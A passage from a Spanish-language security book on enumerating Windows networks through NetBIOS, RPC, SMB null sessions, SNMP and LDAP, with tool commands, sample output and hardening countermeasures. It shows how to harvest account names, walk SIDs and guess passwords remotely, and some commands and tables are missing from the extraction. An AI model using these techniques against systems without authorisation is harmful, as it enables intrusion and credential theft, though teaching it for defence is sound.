<nombre dominio> 1C G Controladores de dominio
<nombre dominio> 1D U Explorador maestro
<nombre dominio> 1E G Elecciones de servicio de explorador
<INet~Services<ISA>> 1C G IIS
<IS-nombre equipo> 00 U IIS
<nombre dominio> 2B U Servidor de Lotus Notes
IRISMULTICAST 2F G Lotus Notes
IRISNAMESERVER 33 G Lotus Notes
Tabla 4-2 Sufijos de NetBIOS con tipos y servicios de nombre asociados (continuación)
Esta salida tampoco muestra información sobre servicios en ejecución. En Windows 2000, un
sistema que ejecuta IIS por lo general muestra la entrada INet~Services en su tabla. La salida se
tomó de un sistema 2003 que ejecuta IIS, pero esta información no aparece. No estamos seguros
de cuál es la raíz de este comportamiento, pero es un cambio de seguridad bienvenido, porque
proporciona menos información a los posibles intrusos.
La columna Tipo de nombre de la tabla 4-2 también tiene importancia, como se muestra en
la tabla 4-3.
La utilería nbtstat tiene dos desventajas: está restringida a operar en un solo host a la vez, y tiene
una salida más bien inescrutable. Ambos problemas son atendidos por la herramienta gratuita
nbtscan de Alla Bezroutchko. Nbtscan usará “nbtstat” en toda una red con asombrosa rapidez y
formará la salida de manera adecuada:
C:\>nbtscan 192.168.234.0/24
Doing NBT name scan for adresses from 192.168.234.0/24
Observe en esta salida que sólo el servidor PRNTSRV indica un usuario con sesión iniciada. Es
el único equipo de Windows 2000 que escucha en la salida, resaltando nuestra exposición ante-
rior de que los nombres de cuenta ya no se mostrarán en las tablas de nombres de NetBIOS como
opción predeterminada en una versión más reciente de Windows. En cualquier caso, nbtscan es
una estupenda manera de encontrar los hosts que ejecutan Windows en una red. Trate de ejecu-
tarlo contra su red de clase C favorita, y verá lo que significa. Puede lograr resultados erráticos
al ejecutarlo contra Internet debido a los caprichos de NBNS sobre Internet.
Para profundizar un poco más en la estructura de red de Windows, necesitaremos usar una
de las herramientas de soporte de Windows Server 2003. (Instálela del directorio \support\tools
del CD-ROM de Windows Server 2003). En el siguiente ejemplo, verá cómo la herramienta
llamada nltest identifica a los controladores de dominio (los guardianes de las credenciales de
autentificación de red de Windows) en un dominio de Windows.
C:\>nltest /dclist:vegas2
Get list of DCs in domain 'vegas2' from '\\CAESARS'.
You don't have access to DsBind to vegas2 (\\CAESARS)
(Trying NetServerEnum).
List of DCs in Domain vegas2
\\CAESARS (PDC)
The command completed successfully
ENUMERACIÓN DE RPC
Cerca del servicio de nombres de NetBIOS, en el panteón de los servicios de Windows suscepti-
bles a la enumeración, se encuentra un mapeador de extremos de RPC de Microsoft en el puerto
TCP 135. Los analizaremos con usted de antemano y observará que la información reunida me-
diante MSRPC no está a la par de la reunida a partir de SMB (consulte la sección “Enumeración
de SMB”, más adelante en este capítulo), pero este servicio casi siempre se encuentra en redes de
Windows e incluso puede exponerse en Internet para aplicaciones como Exchange.
Enumeración de RPC
Popularidad: 7
Simplicidad: 8
Impacto: 1
Clasificación de riesgo: 5
La consulta de los servicios de mapeo de puertos RPC en máquinas UNIX ha sido una técni-
ca de hackeo probada con el tiempo. En Windows, al mapeador de puertos se le denomina
mapeador de extremos RPC, y aunque la salida es mucho más compleja que el equivalente en
UNIX, el concepto es el mismo.
La herramienta epdump consulta el mapeador de extremos RPC y muestra la interfaz de ser-
vicio RPC unida a las direcciones IP y los números de puerto (aunque sea en un formato muy
poco trabajado). Esta herramienta ha funcionado durante tanto tiempo que no estamos seguros
de su origen, pero aún es efectiva (hemos truncado la siguiente salida de manera importante
para resaltar puntos clave):
C:\>epdump servername
binding is 'ncacn_ip_tcp:servername'
int 12345678-1234-abcd-ef00-0123456789ab v1.0
binding 0000@ncacn_ip_tcp:192.168.234.43[1025]
annot 'IPSec Policy agent endpoint'
int 3473dd4d-2e88-4006-9cba-22570909dd10 v5.1
binding 0000@ncalrpc:[LRPC0000061c.00000001]
annot 'WinHttp Auto-Proxy Service'
int 1ff70682-0a51-30e8-076d-740be8cee98b v1.0
binding 0000@ncacn_ip_tcp:192.168.234.43[1026]
annot ''
Lo que es importante observar en esta salida son los elementos int, que especifican interfaces
RPC y cada entrada binding y annot subsecuente. La unión especifica la dirección IP y el nú-
mero de puerto en que el extremo RPC está escuchando (ejemplo, 192.168.234.43[1025]),
y la anotación a menudo presenta el nombre común del extremo (por ejemplo, 'IPSec Policy
agent endpoint').
Entre las herramientas más recientes para volcar extremos de MSRPC se incluye rpcdump.
Hay varias versiones de rpcdump.exe. No se confunda con el rpcdump de David Litchfield (es-
crito alrededor de 1999), que es una herramienta para consultar el mapeador de puertos de
UNIX en TCP 111. Las otras dos versiones de rpcdump se usan para consultar MSRPC (uno des-
de el kit de recursos y otro escrito por Todd Sabin, que viene como parte de su suite de herra-
mientas de RPC). El rpcdump de Sabin agrega la capacidad de consultar cada servidor RPC
registrado para todas las interfaces que soporta mediante la llamada a la API RpcMgmtInqIfIds,
de modo que puede reportar información adicional a las interfaces que un servidor tiene regis-
tradas. La herramienta de Sabin es un poco más parecida a epdump, que escucha cada extremo
en secuencia. Rpcdump del Kit de recursos ordena en categorías su salida en tipos de interfaz,
lo que puede ayudar a diferenciar interfaces locales RPC de la red (una vez más, hemos trunca-
do en gran medida la salida aquí para resaltar la información relevante).
C:\>rpcdump /s servername
Querying Endpoint Mapper Database...
31 registered endpoints found.
ncalrpc(Local Rpc)
[dsrole] [12345678] IPSec Policy agent endpoint
:NOT_PINGED
ncacn_ip_tcp(Connection-oriented TCP/IP)
192.168.234.44[1025] [12345778] :NOT_PINGED
192.168.234.44[1026] [0a74ef1c] :NOT_PINGED
192.168.234.44[1026] [378e52b0] :NOT_PINGED
192.168.234.44[1026] [1ff70682] :NOT_PINGED
192.168.234.44[1025] [12345678] IPSec Policy agent
endpoint :NOT_PINGED
ENUMERACIÓN DE SMB
A continuación, analizaremos la interfaz de Windows más enumerada, el bloque de mensajes de
servidor (SMB, Server Message Block), que es la base de los servicios de intercambio de archivos
e impresoras de Microsoft. En nuestro análisis de la enumeración de SMB, demostraremos la se-
sión nula, que es una técnica de enumeración clásica de todos los tiempos. La sesión nula permi-
te a un atacante anónimo extraer una gran cantidad de información acerca de un sistema (lo más
importante son los nombres de cuenta).
Uno de los talones de Aquiles más serios de Windows ha sido su dependencia predetermi-
nada de los protocolos de red de sistema común de archivos de Internet/bloque de mensajes de
servidor (CIFS/SMB, Common Internet File System/Server Message Block), a los que a partir de
ahora denominaremos SMB. Las especificaciones de SMB incluyen API que devuelven informa-
ción rica acerca de una máquina vía los puertos TCP 139 y 445, aun para usuarios no autentifica-
dos. El primer paso para acceder a estas API remotamente es la creación de este tipo de conexión
autentificada con un sistema de Windows al usar el denominado comando de “sesión nula”, su-
poniendo que el puerto TCP 139 o 445 se muestra escuchando un rastreo de puerto previo:
Esta sintaxis conecta con el “recurso compartido” de comunicaciones ocultas entre procesos
(IPC$) en la dirección IP 192.168.202.33 como el usuario anónimo integrado (/u: “”) con una
contraseña nula (“”). Si tiene éxito, ahora el atacante cuenta con un canal abierto sobre el cual se
tratan todas las técnicas delineadas en el resto de esta sección para pillar toda la información po-
sible del objetivo: la información de red, los recursos compartidos, los usuarios, los grupos, las
claves de registro, etc.
Casi todas las técnicas de acopio de información descritas en esta sección sobre enumeración
de host aprovechan esta falla de seguridad preconfigurada de Windows. Si ha escuchado que se
le denomina vulnerabilidad de “botón rojo”, conexiones de sesión nula, o inicio de sesión anó-
nimo, puede ser el apoyo de red unitario más devastador buscada por los intrusos.
Enumeración de recursos compartidos Con una sesión nula establecida, aun podemos regresar a
usar el viejo conocido net view para enumerar los recursos compartidos en sistemas remotos:
C:\>net view, \\vito
Recursos compartidos en \\192.168.7.45
VITO
Nombre de recurso
compartido Tipo Usado como Comentario
-------------------------------------------------------------------------
Otras tres estupendas herramientas para enumeración de recursos compartidos del kit de
recursos son rmtshare, srvcheck y srvinfo (empleando el interruptor –s). Rmtshare genera sali-
da similar a net view. Srvcheck despliega recursos compartidos y usuarios autorizados, inclui-
dos recursos ocultos, pero requiere acceso privilegiado al sistema remoto para enumerar usuarios
y recursos compartidos ocultos. El parámetro –s de srvinfo presenta listas de recursos compar-
tidos junto con una gran cantidad de otra posible información relevante.
Enumeración de dominios de confianza Una vez que se establece una sesión nula en una de las
máquinas del dominio enumerado, la sintaxis nltest /server:<nombre_servidor> /domain_trusts
puede usarse para aprender acerca de otros dominios de Windows con relaciones confiables al
principio. Esta información resultará práctica cuando se analicen los secretos de la autoridad de
seguridad local (LSA, Local Security Authority) en el capítulo 7.
Enumeración de usuarios En los antiguos días del hackeo, las máquinas de Windows arrojaban
información de cuenta con tanta facilidad como revelaban recursos compartidos. Algunos cam-
bios clave a la configuración predeterminada alrededor de la sesión nula en Windows XP y pos-
teriores han puesto un alto a todo eso. Por esto, los siguientes ejemplos se ejecutaron contra un
controlador de dominio de Windows Server 2003 (este comando se negaría contra una configu-
ración independiente predeterminada o una configuración de servidor miembro).
Unas cuantas herramientas del kit de recursos pueden proporcionar más información acerca
de los usuarios mediante sesiones nulas, como las utilerías usrstat, showgrps, local y global. Por
lo general, usamos la utilería local para volcar los miembros del grupo local de Administradores
en un servidor de destino:
Observe que la cuenta RID 500 siempre aparece primero en la lista en esta salida y que las cuen-
tas administrativas adicionales (como backadmin) aparecen después de los grupos.
La herramienta global puede usarse de la misma manera para encontrar los miembros de los
Administradores de dominio:
Herramientas de enumeración SMB todo en uno Las herramientas que hemos mostrado hasta ahora
tienen un solo propósito. En los siguientes párrafos, presentaremos algunas herramientas de
enumeración para todo fin que realizan todas las técnicas de enumeración de SMB que hemos
visto hasta ahora (¡y algunas más!).
Una de las mejores herramientas para enumerar sistemas de Windows es DumpSec (antes
DumpACL) de SomarSoft. Pocas herramientas merecen su lugar en la caja de herramientas del
auditor de seguridad de Windows más que DumpSec. Audita todo, desde los permisos del sis-
tema de archivos hasta los servicios disponibles en sistemas remotos. DumpSec tiene una inter-
faz gráfica fácil de usar, o puede ejecutarse desde la línea de comandos, facilitando la
automatización y la ejecución de secuencias de comandos.
Para usar DumpSec anónimamente, configure primero una sesión nula en un sistema remo-
to. Luego, en DumpSec, elija Report | Select Computer y escriba el nombre del sistema remoto.
(Asegúrese de usar el nombre exacto que utilizó para crear la sesión nula, o recibirá un error).
Luego seleccione cualquier informe que quiera ejecutar del menú Report. En la figura 4-2 se
muestra DumpSec usado para volcar información de recursos compartidos desde un equipo re-
moto al elegir Report | Dump Permissions For Shares. Observe que esto despliega recursos
ocultos y visibles.
Aun es posible, como opción predeterminada, volcar recursos compartidos sobre una sesión
nula en Windows Server 2003. DumpSec también vuelca información de cuenta de usuario, pero
sólo si el sistema de destino se ha configurado para permitir la liberación de esta información
sobre una sesión nula (algunos podrían estar mal configurados). Los controladores de dominio
de Windows Server 2003 permitirán esta actividad, como opción predeterminada, de modo que
los siguientes ejemplos se ejecutarán contra ese destino. En este ejemplo, usamos DumpSec des-
de la línea de comandos para generar un archivo que contiene información del usuario desde el
Figura 4-2 DumpSec revela todos los recursos compartidos de una sesión nula
equipo remoto (recuerde que DumpSec requiere una sesión nula con el equipo de destino para
operar):
C:\>enum
usage: enum [switches] [hostname|ip]
-U: get userlist
-M: get machine list
-N: get namelist dump (different from -U|-M)
-S: get sharelist
-P: get password policy information
-G: get group and member list
-L: get LSA policy information
-D: dictionary crack, needs -u and -f
-d: be detailed, applies to -U and -S
-c: don't cancel sessions
C:\>enum -U -d -P -L -c caesars
server: caesars
setting up session... success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
opening lsa policy... success.
server role: 3 [primary (unknown)]
names:
netbios: VEGAS2
domain: VEGAS2
quota:
paged pool limit: 33554432
non paged pool limit: 1048576
min work set size: 65536
max work set size: 251658240
pagefile limit: 0
time limit: 458672
trusted domains:
indeterminate
netlogon done by a PDC server
getting user list (pass 1, index 0)... success, got 7.
Administrator (Built-in account for administering the computer/domain)
attributes:
backadmin attributes: disabled
Guest (Built-in account for guest access to the computer/domain)
attributes: disabled no_passwd
IUSR_CAESARS
(Built-in account for anonymous access to
Internet Information Services)
attributes: no_passwd
IWAM_CAESARS
Enum también realizará adivinación remota de contraseñas de usuario utilizando los argu-
mentos –D –u <nombreusuario> –f <archivodict>.
Otra estupenda herramienta de enum escrita por Sir Dystic, llamada nete (NetE), extraerá
una gran cantidad de información de una conexión de sesión nula. Nos gustaría usar el interrup-
tor /0 para realizar todas las comprobaciones, pero he aquí la sintaxis de comando para nete, a
fin de dar una idea de la información completa que puede recuperarse mediante una sesión
nula:
C:\>nete
NetE v.96 Questions, comments, etc. to sirdystic@cultdeadcow.com
S-1-5-21-8915387-1645822062-1819828000-513
Number of subauthorities is 5
Domain is WINDOWSNT
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
Esto nos indica el SID para esta máquina: la cadena de números que empieza con S-1 separada
por guiones en la primera línea de la salida.
Como vimos en el capítulo 2, a la cadena numérica que sigue al último guión se le denomina
identificador relativo (RID, Relative IDentifier), y está predefinido para usuarios y grupos integra-
dos de Windows como Administrador e Invitado. Por ejemplo, el RID del usuario Administra-
dor siempre es 500, y el RID del usuario Invitado es 501. Armado con esta información, un
hacker puede usar sid2user y la cadena SID conocida con un RID adjunto de 500 para encontrar
el nombre de una cuenta de Administrador (aunque se le haya cambiado el nombre):
Name is godzilla
Domain is WINDOWSNT
Type of SID is SidTypeUser
Observe que se omitieron el S-1 y los guiones. Otro hecho interesante es que la primera cuen-
ta creada en cualquier sistema o dominio local de la familia Windows NT tiene asignado un RID
de 1000, y cada objeto posterior obtiene el siguiente número secuencial después de éste (1001,
1002, 1003, etc.; los RID no se reciclan en la instalación actual). Por tanto, una vez que se conoce
el SID, un hacker puede enumerar básicamente cada usuario y grupo en un sistema NT/2000,
pasado y presente.
Name is IUSR_ACMEPDC1
Domain is ACME
Type of SID is SidTypeUser
Esta salida simple podría limpiarse al canalizarla a través de un filtro para dejar sólo una
lista de nombres de usuario. Por supuesto, el entorno de secuencia de comandos no está limitada
a la shell de NET (también servirán Perl, VBScript u otro similar). Como un último recordatorio
antes de seguir adelante, tome en cuenta que en este ejemplo se vuelcan con éxito los usuarios,
siempre y cuando el puerto TCP 139 o 445 esté abierto en el destino, aunque RestrictAnonymous
esté configurado en el valor “1”, que es moderadamente conservador (una vez más, consulte la
sección “Contramedidas a la enumeración de SMB”, en páginas posteriores, para conocer valo-
res explícitos de RestrictAnonymous y su significado).
NOTA La herramienta UserDump, que se analizará en breve, vuelve automática esta técnica de enumeración
de “SID en movimiento”.
Sugerencia
Configure el valor de la Directiva de seguridad Acceso de red: permitir traducción SID/nombre
anónima en Inactiva en Windows XP y posteriores, para evitar este ataque.
USER INFO
Username: Administrador
Full Name:
Comment: Cuenta para la administración del equipo o dominio
administering the computer/domain
User Comment:
User ID: 500
Primary Grp: 513
Privs: Admin Privs
OperatorPrivs: No explicit OP Privs
MISC INFO
Password age: Mon Apr 09 01:41:34 2001
LastLogon: Mon Apr 23 09:27:42 2001
LastLogoff: Thu Jan 01 00:00:00 1970
Acct Expires: Never
Max Storage: Unlimited
Workstations:
UnitsperWeek: 168
Bad pw Count: 0
Num logons: 5
Country code: 0
Code page: 0
Profile:
ScriptPath:
Homedir drive:
Home Dir:
PasswordExp: 0
Una herramienta relacionada de Tim Mullen es UserDump. Enumera el SID del sistema
remoto y luego “recorre” los valores RID esperados para reunir todos los nombres de cuenta
de usuario. UserDump toma el nombre de un usuario o grupo conocido e itera un número de
veces especificado por el usuario a partir del SID 1001. UserDump siempre obtendrá primero el
RID 500 (Administrador), y luego empezará en el RID 1001 más el número máximo de consultas
especificado. (Un valor de MaxQueries de 0 o en blanco devuelve los SID 500 y 1001). He aquí
un ejemplo de UserDump en acción contra un controlador de dominio de Windows Server
2003:
USER INFO
Username: Administrador
Full Name:
Comment: Cuenta para la administración
del equipo o dominio
User Comment:
User ID: 500
Primary Grp: 513
Privs: Admin Privs
OperatorPrivs: No explicit OP Privs
[fragmento]
LookupAccountSid failed: 1007 does not exist...
LookupAccountSid failed: 1008 does not exist...
LookupAccountSid failed: 1009 does not exist...
Otra herramienta llamada getAcct, de Urity, realiza esta misma técnica de recorrido de SID.
GetAcct tiene una interfaz gráfica y puede exportar resultados a un archivo separado por comas
para análisis posterior. No requiere la presencia de una cuenta Administrador o Invitado en el
servidor de destino. GetAcct se muestra en la figura 4-3, obteniendo la información de cuenta de
usuario de un sistema con RestrictAnonymous = 1.
Walksam, una de las tres herramientas RPC de Todd Sabin, también recorre la base de datos
del administrador de cuentas de seguridad (SAM, Security Accounts Manager) y arroja informa-
ción acerca de cada usuario encontrado. Da soporte al método “tradicional” de hacer esto me-
diante canalizaciones y los mecanismos adicionales que usan los controladores de dominio de
Windows. Puede omitir RestrictAnonymous = 1 si son factibles las sesiones nulas. He aquí un
Figura 4-3 GetAcct recorre los SID vía una sesión nula, omitiendo RestrictAnonymous = 1
ejemplo abreviado de walksman en acción (observe que ya existe una sesión nula con el servidor
de destino):
C:\rpctools>walksam 192.168.234.44
rid 500: user Administrador
Userid: Administrador
Full Name:
Home Dir:
Home Drive:
Logon Script:
Profile:
Description: Cuenta para la administración del equipo o dominio
Workstations:
Profile:
User Comment:
Last Logon: never
Last Logoff: never
Last Passwd Change: 6/10/2007 20:28:46.484
Acct. Expires: never
Esperamos que haya disfrutado este pequeño recordatorio. A continuación, vamos a anali-
zar algunas mejoras importantes en Windows XP y posteriores que, en esencia, eliminan la ne-
cesidad de preocuparse de RestrictAnonymous.
• Bloquear el acceso a los puertos TCP 139 y 445 en el nivel de red o host.
• Deshabilitar los servicios SMB.
• Establecer apropiadamente las configuraciones de Acceso de red de la Directiva de
seguridad.
• Actualizar a Windows XP SP2 o posterior, lo que bloquea efectivamente todos los
ataques descritos hasta ahora en la configuración predeterminada (a menos que el
sistema sea un controlador de dominio).
Por supuesto, la mejor manera es limitar el acceso no confiable a esos servicios es el uso de
una firewall de red, que es la razón por la que presentamos primero esta opción. Además, con-
sidere el uso de filtros como los del Firewall de Windows en hosts individuales para restringir
el acceso a SMB y para “defensa a profundidad”, en caso de que se penetre la frontera del Fi-
rewall.
Analizaremos las demás opciones a profundidad.
Deshabilitación de SMB La deshabilitación de SMB en Windows puede ser un proceso muy con-
fuso, dependiendo de cuál versión de Windows esté usando. En primer lugar, identifique la co-
nexión de red que quiere configurar en la opción Conexiones de red del Panel de control. (Las
conexiones con Conexión de área local en sus nombres suelen ser las conexiones LAN principales
del sistema; tiene que dedicar más tiempo a imaginarse cuál está conectada a la red en la que
quiere deshabilitar SMB). En Vista y posteriores, encontrará las conexiones de red en Panel de
control \Redes e Internet\Centro de redes y recursos compartidos. Haga clic con el botón dere-
cho en el vínculo Ver estado de la conexión que quiera y seleccione Propiedades. En la hoja Pro-
piedades, haga clic en Protocolo de Internet (TCP/IP) (en Vista y posteriores, a éste se le deno-
mina Protocolo de Internet versión 4 TCP/IPv4). Luego haga clic en el botón Propiedades, y en
el posterior cuadro de diálogo, haga clic en el botón Opciones avanzadas, vaya a la ficha WINS
y localice la opción denominada Deshabilitar NetBIOS a través de TCP/IP, como se muestra en
la figura 4-4.
Figura 4-4 Deshabilitación de NetBIOS a través de TCP/IP sólo deshabilitará TCP 139, dejando el
sistema vulnerable a la enumeración a través de TCP 445
La mayoría de los usuarios suponen que al deshabilitar NetBIOS a través de TCP/IP, han
deshabilitado con éxito SMB en sus máquinas. Esto es incorrecto. Este valor sólo deshabilita el
servicio de sesión de NetBIOS, TCP 139.
Las versiones más modernas de Windows ejecutan otro escucha SMB en TCP 445. Este puer-
to permanecerá activo aunque NetBIOS a través de TCP/IP esté deshabilitado. Las versiones
cliente de SMB de Windows posteriores a NT 4 Service Pack 6a caerán automáticamente a través
de TCP 445 si una conexión a TCP 139 falla, de modo que aún se pueden establecer sesiones nu-
las para clientes actualizados aunque TCP 139 esté deshabilitado o bloqueado. Para deshabilitar
SMB en TCP 445 en Windows Server 2003 y anteriores, abra la applet Conexiones de red en el
Panel de control, elija Propiedades Avanzadas | Avanzadas y luego deje de seleccionar Compar-
tir impresoras y archivos para redes Microsoft en el adaptador apropiado. En Vista y posteriores,
puede deshabilitarse Compartir impresoras y archivos para redes Microsoft bajo las propieda-
des de la conexión, como se muestra en la figura 4-5.
Con la opción Compartir impresoras y archivos deshabilitada, las sesiones nulas no serán
posibles a través de 139 y 445 (junto con Compartir impresoras y archivos, obviamente). No se
requiere reiniciar para que este cambio se aplique. TCP 139 aún aparecerá en el rastreo de puer-
tos, pero no será posible conectarse a él.
Figura 4-5 Deshabilitación completa de SMB en Vista, a través de TCP 139 y 445
Sugerencia
Otra manera de evitar el acceso a servicios de SMB consiste en deshabilitar el servicio Servidor
mediante las herramientas Servicios administrativos (services.msc), que deshabilita Compartir
impresoras y archivos, restringe el acceso a canalizaciones con nombre en la red y deshabilita el
recurso compartido IPC$. Por supuesto, esto deshabilita los servicios de intercambio de recursos
como Compartir impresoras y archivos.
HKLM\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous
Con Windows 2000, Microsoft exponía este valor mediante el complemento Directiva de se-
guridad de MMC (secpol.msc), que proporcionaba una GUI para los muchos valores antiguos
del Registro relacionados con la seguridad, como RestrictAnonymous, que necesitaban configu-
rarse manualmente bajo NT 4. Al parámetro se le llamó Restricciones adicionales para conexiones
anónimas en la directiva de Windows 2000, e introdujo un tercer valor denominado No hay acceso
sin permisos anónimos explícitos. (Esto es el equivalente a asignar 2 al valor de Registro Restrict
Anonymous, que se muestra en la tabla 4-4). Esta tercera opción ya no se expone mediante la
interfaz de directiva de Windows XP y posteriores, pero el valor de Registro persiste.
Lo interesante es que al colocar el valor 1 a RestrictAnonymous en realidad no se bloquean
las conexiones anónimas. Sin embargo, se evita la fuga de la mayor parte de información dispo-
nible a través de la sesión nula, sobre todo de la enumeración de cuentas de usuario y recursos
compartidos. Como ya mostramos antes, algunas herramientas y técnicas de enumeración aún
extraerán datos confidenciales de sistemas remotos, aunque RestrictAnonymous esté estableci-
do en 1.
Al establecer RestrictAnonymous en 2 se evita que la identidad especial Todos se incluya en
fichas de acceso anónimas. Bloquea efectivamente la creación de sesiones nulas:
El establecimiento de RestrictAnonymous en este valor más seguro (2) tiene el efecto nocivo
de evitar el acceso de cliente de bajo nivel y la enumeración de dominios de confianza. (Los
clientes de Windows 95 pueden actualizarse con la utilería dsclient para aliviar parte de esto;
consulte el artículo de la base de conocimiento de Microsoft Q246261 para conocer más detalles).
Para atender estos problemas, la interfaz para controlar el acceso anónimo se ha rediseñado en
Windows XP y posteriores para proporcionar un control más fino y una mejor seguridad prede-
terminada.
El cambio visible más inmediato en el nodo Opciones de seguridad de la Directiva de segu-
ridad es que la opción Restricciones adicionales para conexiones anónimas (que configuraba
RestrictAnonymous en Windows 2000) se ha ido. Bajo Windows XP y posteriores, todos los va-
lores bajo Opciones de seguridad se han organizado en categorías. Los valores relevantes a la
restricción del acceso anónimo caen bajo la categoría con el prefijo Acceso de red. En la tabla 4-5
se muestran los nuevos valores y nuestras configuraciones recomendadas.
Al observar la tabla 4-5, queda en claro que la principal ventaja adicional obtenida por Win-
dows XP y versiones posteriores es un control más fino sobre los recursos que están disponibles
mediante sesiones nulas. Siempre es mejor proporcionar más opciones, pero aún sigue gustán-
donos la elegante simplicidad de RestrictAnonymous = 2 de Windows 2000, porque simplemen-
te no eran posibles las sesiones nulas. Por supuesto, la compatibilidad sufría, pero hey, por eso
nos dedicamos a la seguridad, ¿o no? Lo simple siempre derrota a lo complejo cuando se trata
de seguridad. De cualquier forma, éramos incapaces de penetrar las configuraciones delineadas
en la tabla 4-5 empleando las herramientas analizadas en este capítulo.
Aún mejor, las configuraciones de la tabla 4-5 pueden aplicarse en el nivel de unidad orga-
nizacional (OU, Organizational Unit), sitio o dominio para que puedan heredarlos los objetos
secundarios en Active Directory, si se aplican desde un controlador de dominio de Windows.
Esto requiere la funcionalidad de Directiva de grupo de un controlador de dominio de Win-
dows, por supuesto.
PRECAUCIÓN
Como opción predeterminada, los controladores de dominio de Windows relajan algunas de las
configuraciones que evitan la enumeración de SMB (consulte la tabla 4-5).
Sugerencia No olvide asegurarse de que se aplica la Directiva de seguridad, ya sea al hacer clic con el botón
derecho en el nodo Configuraciones de seguridad en la MMC y seleccionando Recargar o al
actualizar la Directiva de grupo en un dominio.
Algunas observaciones simples que un atacante podría reunir de este archivo sería la ubicación
del servicio de catálogo global del dominio (_gc._tcp), los controladores de dominio que utilizan
autentificación Kerberos (_kerberos._tcp), los servidores LDAP (_ldap._tcp) y sus números de
puerto asociados (sólo se muestran aquí las encarnaciones de TCP).
Figura 4-6 La configuración predeterminada de DNS de Windows Server 2003 deshabilita las
transferencias de zona (¡bravo por la seguridad predeterminada!)
Sugerencia
Aunque no funcionará contra la implementación de DNS de Windows, el siguiente comando
determinará la versión de un servidor que ejecuta BIND DNS: nslookup –q=txt –class
=CHAOS version.bind.
ENUMERACIÓN DE SNMP
Una de nuestras anécdotas favoritas de pruebas por correspondencia se relaciona con un admi-
nistrador de sistemas testarudo en un sitio cliente (de destino) que insistió en que no podía res-
quebrajarse la seguridad de los sistemas Windows NT 4. “He bloqueado SMB, y no hay manera
de que usted pueda enumerar nombres de cuenta de usuario en mis sistemas de Windows. ¡Eso
lo dejará frío!”.
Era seguro que se había bloqueado el acceso a TCP 139 y 445, o que se había deshabilitado el
servicio SMB. Sin embargo, un rastreo inicial de puertos mostró que algo igual de jugoso estaba
disponible: el servicio del agente del protocolo simple de administración de red (SNMP, Simple
Network Management Protocol), UDP 161. SNMP no está instalado como opción predetermina-
da en Windows, pero se agrega fácilmente mediante Agregar o quitar programas en Windows
2000 y posteriores. Muchas organizaciones administran sus redes con SNMP, de modo que es
común encontrarlo.
En Windows 2000 y anteriores, la instalación predeterminada de SNMP usaba “public”
como cadena de comunidad DE LECTURA (la cadena de comunidad es el equivalente simple de
una contraseña de servicio). Peor aún, la información que puede extraerse del agente SNMP
de Windows es tan dañina como todo lo que hemos analizado hasta ahora en este capítulo. Vaya,
cómo se molestó este administrador de sistemas. Siga leyendo para ver lo que le hicimos a sus
máquinas (para asegurarse de que no comete el mismo error que él).
Si se ha establecido una cadena de comunidad de lectura que sea fácil de adivinar en el sis-
tema de la víctima, la enumeración de cuentas de Windows vía SNMP es como comerse un pas-
tel empleando la herramienta snmputil del kit de recursos. En el siguiente ejemplo se muestra
snmputil leyendo la base de información de administración (MIB, Management Information
Base) del administrador de LAN, desde una máquina remota de Windows 2000, empleando la
cadena de comunidad de lectura de uso común “public”.
Variable = .iso.org.dod.internet.private.enterprises.lanmanager.
lanmgr-2.server. svUserTable.svUserEntry.svUserName.13.
65.100.109.105.110.105.115.116.114.97.116.111.114
Value = OCTET STRING - Administrator
Por supuesto, para no tener que escribir todo esto, sólo podría descargar el excelente explo-
rador SNMP gráfico llamado IP Network Browser, una de las muchas estupendas herramientas
incluidas en el Professional Plus Toolset de SolarWind (consulte “Referencias y lecturas adicio-
nales”, para encontrar el vínculo). La suite Professional Plus tiene un costo, pero vale la pena por
las numerosas herramientas incluidas en el paquete.
IP Network Browser permite a un atacante ver toda esta información desplegada a todo co-
lor. En la figura 4-7 se muestra a este programa examinando una máquina que ejecuta el agente
SNMP de Windows 2000 con una cadena de comunidad de lectura predeterminada de public.
Tabla 4-6 OID de la MIB de SNMP de Microsoft Enterprise que pueden usarse para enumerar
información confidencial
Figura 4-7 IP Network Browser de SolarWinds expande la información disponible en sistemas que
ejecutan el agente SNMP de Windows cuando se proporciona con la cadena de comunidad correcta. La
cadena de comunidad mostrada aquí es la predeterminada de Windows 2000, “public”.
Las cosas empeoran aún más si identifica una cadena de comunidad de escritura vía IP Net-
work Browser. Empleando la herramienta Update System MIB del Professional Plus Toolset de
SolarWinds, puede escribir valores en el MIB del sistema si proporciona la cadena apropiada
de escritura, incluidos nombre del sistema, ubicación e información de contacto.
de Servicios del Panel de control, seleccione Propiedades del servicio SNMP, haga clic en la ficha
Seguridad y cambie los siguientes valores:
Figura 4-8 La configuración predeterminada del agente SNMP de Windows Server 2003 determina
que no son válidas las cadenas de comunidad y bloquea el acceso sólo a localhost
2. La conexión nula revela cierta información acerca del directorio, pero puede
autentificarse como su usuario Guest comprometido y obtener aún más. Esto se hace al
elegir Connections | Bind, asegurándose de que la casilla de verificación Domain esté
seleccionada con el nombre de dominio apropiado, e ingresando las credenciales de
Guest, como se muestra a continuación.
3. Debe ver que la salida dice “Authenticated as dn:’guest’”. Ahora que se ha establecido
una sesión autentificada de LDAP, puede enumerar realmente Usuarios y grupos. Elija
View | Tree e ingrese el contexto raíz en el siguiente cuadro de diálogo. (Por ejemplo,
aquí se muestra DC=vegas,DC=nv).
Figura 4-9 Ldp.exe enumera usuarios y grupos mediante una conexión autentificada
¿Cómo es esto posible con una simple conexión de usuario? Ciertos servicios heredados de
NT 4, como el servicio de acceso remoto (RAS, Remote Access Service) y SQL Server deben tener
la capacidad de consultar objetos de usuario y grupo dentro de AD. La instalación de rutina de
AD (dcpromo) pregunta si el usuario quiere relajar los permisos de acceso al directorio para per-
mitir que los servidores heredados realicen estas búsquedas. Si se seleccionan permisos relaja-
dos en la instalación, los objetos de usuario y grupo estarán accesibles para enumeración vía
LDAP. Observe que la instalación predeterminada relajará los permisos sobre AD.
Objeto Permiso
Contraseña de dominio y directivas de búsqueda Leer
Otros parámetros de dominio Leer
Directorio raíz (y todos los secundarios) Listar contenido
Objetos de usuario Listar contenido, Leer Todas las
propiedades, Permisos de lectura
Objetos de grupo Listar contenido, Leer Todas las
propiedades, Permisos de lectura
Objetos de InetOrgPerson Listar contenido, Leer Todas las
propiedades, Permisos de lectura
Tabla 4-7 Permisos en objetos de Active Directory relacionados con el grupo Acceso compatible con
versiones anteriores de Windows 2000
